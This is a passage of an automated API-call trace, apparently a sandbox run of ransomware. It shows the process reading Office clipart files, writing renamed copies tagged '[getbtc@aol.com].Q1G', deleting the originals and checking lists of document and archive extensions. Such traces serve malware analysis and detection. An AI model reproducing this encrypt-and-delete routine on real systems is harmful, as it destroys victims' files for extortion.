Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.257] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.258] GetLastError () returned 0x0 [0265.258] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x834, lpOverlapped=0x0) returned 1 [0265.259] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x840, lpOverlapped=0x0) returned 1 [0265.260] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.260] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.260] SetEndOfFile (hFile=0x390) returned 1 [0265.261] CloseHandle (hObject=0x390) returned 1 [0265.261] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.261] SetEndOfFile (hFile=0x37c) returned 1 [0265.262] CloseHandle (hObject=0x37c) returned 1 [0265.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf")) returned 1 [0265.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".doc") returned 4 [0265.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString=".docx") returned 5 [0265.264] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.264] lstrlenW (lpString=".pdf") returned 4 [0265.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString=".xls") returned 4 [0265.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.264] lstrlenW (lpString=".xlsx") returned 5 [0265.264] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.264] lstrlenW (lpString=".ppt") returned 4 [0265.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".zip") returned 4 [0265.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.264] lstrlenW (lpString=".rar") returned 4 [0265.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString=".bz2") returned 4 [0265.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString=".7z") returned 3 [0265.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".dbf") returned 4 [0265.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".1cd") returned 4 [0265.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".jpg") returned 4 [0265.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.264] lstrlenW (lpString=".doc") returned 4 [0265.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString=".docx") returned 5 [0265.265] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.265] lstrlenW (lpString=".pdf") returned 4 [0265.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString=".xls") returned 4 [0265.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.265] lstrlenW (lpString=".xlsx") returned 5 [0265.265] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.265] lstrlenW (lpString=".ppt") returned 4 [0265.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.265] lstrlenW (lpString=".zip") returned 4 [0265.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.265] lstrlenW (lpString=".rar") returned 4 [0265.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString=".bz2") returned 4 [0265.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString=".7z") returned 3 [0265.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.265] lstrlenW (lpString=".dbf") returned 4 [0265.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.265] lstrlenW (lpString=".1cd") returned 4 [0265.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF") returned 63 [0265.265] lstrlenW (lpString=".jpg") returned 4 [0265.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.265] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.265] lstrlenW (lpString="J0187893.WMF") returned 12 [0265.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.266] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5620) returned 1 [0265.266] CloseHandle (hObject=0x37c) returned 1 [0265.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 0x20 [0265.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.266] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.267] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.267] GetLastError () returned 0x0 [0265.267] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x15f4, lpOverlapped=0x0) returned 1 [0265.269] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1600, lpOverlapped=0x0) returned 1 [0265.270] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.270] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.270] SetEndOfFile (hFile=0x390) returned 1 [0265.270] CloseHandle (hObject=0x390) returned 1 [0265.270] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.270] SetEndOfFile (hFile=0x37c) returned 1 [0265.272] CloseHandle (hObject=0x37c) returned 1 [0265.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf")) returned 1 [0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.273] lstrlenW (lpString=".doc") returned 4 [0265.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.273] lstrlenW (lpString=".docx") returned 5 [0265.273] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.273] lstrlenW (lpString=".pdf") returned 4 [0265.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.273] lstrlenW (lpString=".xls") returned 4 [0265.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.273] lstrlenW (lpString=".xlsx") returned 5 [0265.273] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.273] lstrlenW (lpString=".ppt") returned 4 [0265.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.273] lstrlenW (lpString=".zip") returned 4 [0265.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.273] lstrlenW (lpString=".rar") returned 4 [0265.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.273] lstrlenW (lpString=".bz2") returned 4 [0265.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.273] lstrlenW (lpString=".7z") returned 3 [0265.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".dbf") returned 4 [0265.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".1cd") returned 4 [0265.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".jpg") returned 4 [0265.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".doc") returned 4 [0265.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString=".docx") returned 5 [0265.274] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0265.274] lstrlenW (lpString=".pdf") returned 4 [0265.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString=".xls") returned 4 [0265.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.274] lstrlenW (lpString=".xlsx") returned 5 [0265.274] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0265.274] lstrlenW (lpString=".ppt") returned 4 [0265.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".zip") returned 4 [0265.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.274] lstrlenW (lpString=".rar") returned 4 [0265.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString=".bz2") returned 4 [0265.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.274] lstrlenW (lpString=".7z") returned 3 [0265.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.274] lstrlenW (lpString=".dbf") returned 4 [0265.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.275] lstrlenW (lpString=".1cd") returned 4 [0265.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF") returned 63 [0265.275] lstrlenW (lpString=".jpg") returned 4 [0265.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.275] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.275] lstrlenW (lpString="J0187895.WMF") returned 12 [0265.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.275] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3472) returned 1 [0265.275] CloseHandle (hObject=0x37c) returned 1 [0265.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 0x20 [0265.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.276] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.276] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.277] GetLastError () returned 0x0 [0265.277] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xd90, lpOverlapped=0x0) returned 1 [0265.278] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0265.279] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.279] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.279] SetEndOfFile (hFile=0x390) returned 1 [0265.279] CloseHandle (hObject=0x390) returned 1 [0265.279] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.279] SetEndOfFile (hFile=0x37c) returned 1 [0265.281] CloseHandle (hObject=0x37c) returned 1 [0265.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.282] lstrlenW (lpString=".doc") returned 4 [0265.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.282] lstrlenW (lpString=".docx") returned 5 [0265.282] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.282] lstrlenW (lpString=".pdf") returned 4 [0265.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.282] lstrlenW (lpString=".xls") returned 4 [0265.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.282] lstrlenW (lpString=".xlsx") returned 5 [0265.282] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.283] lstrlenW (lpString=".ppt") returned 4 [0265.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString=".zip") returned 4 [0265.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.283] lstrlenW (lpString=".rar") returned 4 [0265.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString=".bz2") returned 4 [0265.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString=".7z") returned 3 [0265.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString=".dbf") returned 4 [0265.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString=".1cd") returned 4 [0265.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString=".jpg") returned 4 [0265.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.283] lstrlenW (lpString=".doc") returned 4 [0265.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString=".docx") returned 5 [0265.283] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0265.283] lstrlenW (lpString=".pdf") returned 4 [0265.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.283] lstrlenW (lpString=".xls") returned 4 [0265.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.283] lstrlenW (lpString=".xlsx") returned 5 [0265.283] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0265.283] lstrlenW (lpString=".ppt") returned 4 [0265.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.284] lstrlenW (lpString=".zip") returned 4 [0265.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.284] lstrlenW (lpString=".rar") returned 4 [0265.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.284] lstrlenW (lpString=".bz2") returned 4 [0265.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.284] lstrlenW (lpString=".7z") returned 3 [0265.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.284] lstrlenW (lpString=".dbf") returned 4 [0265.284] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.284] lstrlenW (lpString=".1cd") returned 4 [0265.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF") returned 63 [0265.284] lstrlenW (lpString=".jpg") returned 4 [0265.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.284] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.284] lstrlenW (lpString="J0187921.WMF") returned 12 [0265.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.285] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=5000) returned 1 [0265.285] CloseHandle (hObject=0x37c) returned 1 [0265.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 0x20 [0265.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 